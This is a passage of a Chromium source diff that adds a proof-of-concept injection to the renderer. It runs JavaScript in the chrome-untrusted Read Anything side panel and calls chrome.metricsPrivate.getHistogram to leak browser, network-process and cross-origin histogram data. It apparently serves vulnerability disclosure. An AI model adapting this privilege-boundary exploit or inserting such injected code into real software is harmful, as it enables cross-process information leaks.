diff --git a/chrome/renderer/chrome_render_frame_observer.cc b/chrome/renderer/chrome_render_frame_observer.cc index 1bad57107582a..935b0b752fc07 100644 --- a/chrome/renderer/chrome_render_frame_observer.cc +++ b/chrome/renderer/chrome_render_frame_observer.cc @@ -271,6 +271,61 @@ void ChromeRenderFrameObserver::DidFinishLoad() { if (frame->Parent() || frame->IsInFencedFrameTree()) return; +#if !BUILDFLAG(IS_ANDROID) + // === POC INJECTION: simulate a compromised chrome-untrusted:// renderer === + // The chrome-untrusted:// trust model assumes this renderer may be + // compromised by web content (docs/webui/chrome_untrusted.md). This block + // simulates that compromise by executing attacker-controlled JS in the + // chrome-untrusted://read-anything-side-panel.top-chrome/ context. The JS + // calls chrome.metricsPrivate.getHistogram(), which the *browser process* + // should refuse for an untrusted renderer but does not, returning + // browser-wide cross-process UMA state. + GURL poc_url(frame->GetDocument().Url()); + if (poc_url.host() == + chrome::kChromeUIUntrustedReadAnythingSidePanelHost) { + LOG(ERROR) << "[POC] Injecting into chrome-untrusted renderer, url=" + << poc_url; + static const char16_t kPocScript[] = + u"(function() {\n" + u" const tag = '[POC][chrome-untrusted]';\n" + u" console.error(tag, 'location =', location.href);\n" + u" console.error(tag, 'typeof chrome.metricsPrivate =',\n" + u" typeof chrome.metricsPrivate);\n" + u" console.error(tag, 'typeof chrome.metricsPrivate.getHistogram =',\n" + u" typeof (chrome.metricsPrivate||{}).getHistogram);\n" + u" if (!chrome.metricsPrivate || !chrome.metricsPrivate.getHistogram)\n" + u" return;\n" + u" const targets = [\n" + u" // Recorded ONLY in the browser process:\n" + u" 'MPArch.ChildProcessLaunchFirst',\n" + u" 'MPArch.ChildProcessLaunchSubsequent',\n" + u" // Recorded ONLY in the network process (victim tab's HTTP load):\n" + u" 'Net.HttpJob.TotalTime',\n" + u" 'Net.HttpJob.TotalTimeSuccess',\n" + u" // Recorded in renderer processes (incl. cross-origin victim):\n" + u" 'Blink.Fetch.RequestResourceTime2',\n" + u" ];\n" + u" function probe(name, round) {\n" + u" chrome.metricsPrivate.getHistogram(name).then(h => {\n" + u" console.error(tag, 'LEAK r' + round, name, '=> sum=' + h.sum,\n" + u" 'buckets=' + JSON.stringify(h.buckets));\n" + u" }).catch(e => {\n" + u" console.error(tag, 'r' + round, name, 'err:', String(e));\n" + u" });\n" + u" }\n" + u" // Poll: each getHistogram triggers a fresh cross-process collection\n" + u" // (FetchHistogramsAsynchronously) pulling state from every child\n" + u" // process. Fire all targets in parallel, repeat a few rounds.\n" + u" for (let round = 0; round < 3; round++) {\n" + u" setTimeout(() => {\n" + u" for (const name of targets) probe(name, round);\n" + u" }, round * 2000);\n" + u" }\n" + u"})();\n"; + render_frame()->ExecuteJavaScript(kPocScript); + } +#endif // !BUILDFLAG(IS_ANDROID) + GURL osdd_url = frame->GetDocument().OpenSearchDescriptionURL(); if (!osdd_url.is_empty()) { mojo::Remote